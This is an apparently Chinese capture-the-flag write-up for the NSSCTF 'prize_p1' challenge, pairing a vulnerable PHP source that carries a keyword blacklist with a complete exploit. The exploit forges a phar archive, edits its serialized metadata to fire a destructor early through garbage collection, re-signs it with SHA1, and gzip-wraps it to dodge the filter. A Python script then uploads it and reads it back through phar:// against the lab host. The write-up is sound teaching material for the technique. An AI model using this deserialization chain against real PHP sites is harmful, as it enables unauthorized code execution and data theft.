NSSCTF prize_p1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
function __destruct() {
echo getenv("FLAG");
}
}

class A {
public $config;
function __destruct() {
if ($this->config == 'w') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

思路分析:有两个类 A是读取flag B是可以进行文件读写的功能 那我们通过上传phar文件再利用phar协议来读取 但是phar文件是明文 含有getflag也会被过滤 那就使用gzip打包 phar伪协议一样可以解析gzip bzip2 tar zip这四个后缀的文件

生成phar文件

记得phar only设置为off 并且这里php环境使用的和题目环境一样的php5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);

class getflag
{}

$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o = new getflag();
$o = array(0=>$o,1=>null);
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

那么这里生成的phar文件我们需要绕过throw new Error(“那么就从这里开始起航吧”); 这里就运用到了gc回收机制

修改phar文件

image-20250722154034807

将1替换为0 a:2:{i:0;O:7:"getflag":{}i:0;N;}

Array[0]首先是设置为getflag对象的,然后又将Array[0]赋值为NuLL,那么原来的getflag就没有被引用了 触发了gc回收机制 __destruct被提前触发

重新签名

修改过后的phar文件需要重新签名

1
2
3
4
5
6
from hashlib import sha1
f = open('./test.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('ph2.phar', 'wb').write(newf) # 写入新文件

读取flag

然后上传文件进行读取操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import re
import gzip

url = "http://node4.anna.nssctf.cn:28318/"

### 先将phar文件变成gzip文件
with open("./ph2.phar", 'rb') as f1:
phar_zip = gzip.open("gzip.zip", 'wb') # 创建了一个gzip文件的对象
phar_zip.writelines(f1) # 将phar文件的二进制流写入
phar_zip.close()

###写入gzip文件
with open("gzip.zip", 'rb') as f2:
data1 = {0: f2.read()} # 利用gzip后全是乱码绕过
param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
p1 = requests.post(url=url, params=param1, data=data1)

### 读gzip.zip文件,获取flag
param2 = {0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2 = {0: "phar://tmp/a.txt"}
p2 = requests.post(url=url, params=param2, data=data2)

flag = re.compile('NSSCTF\{.*?\}').findall(p2.text)
print(flag)

image-20250722154904010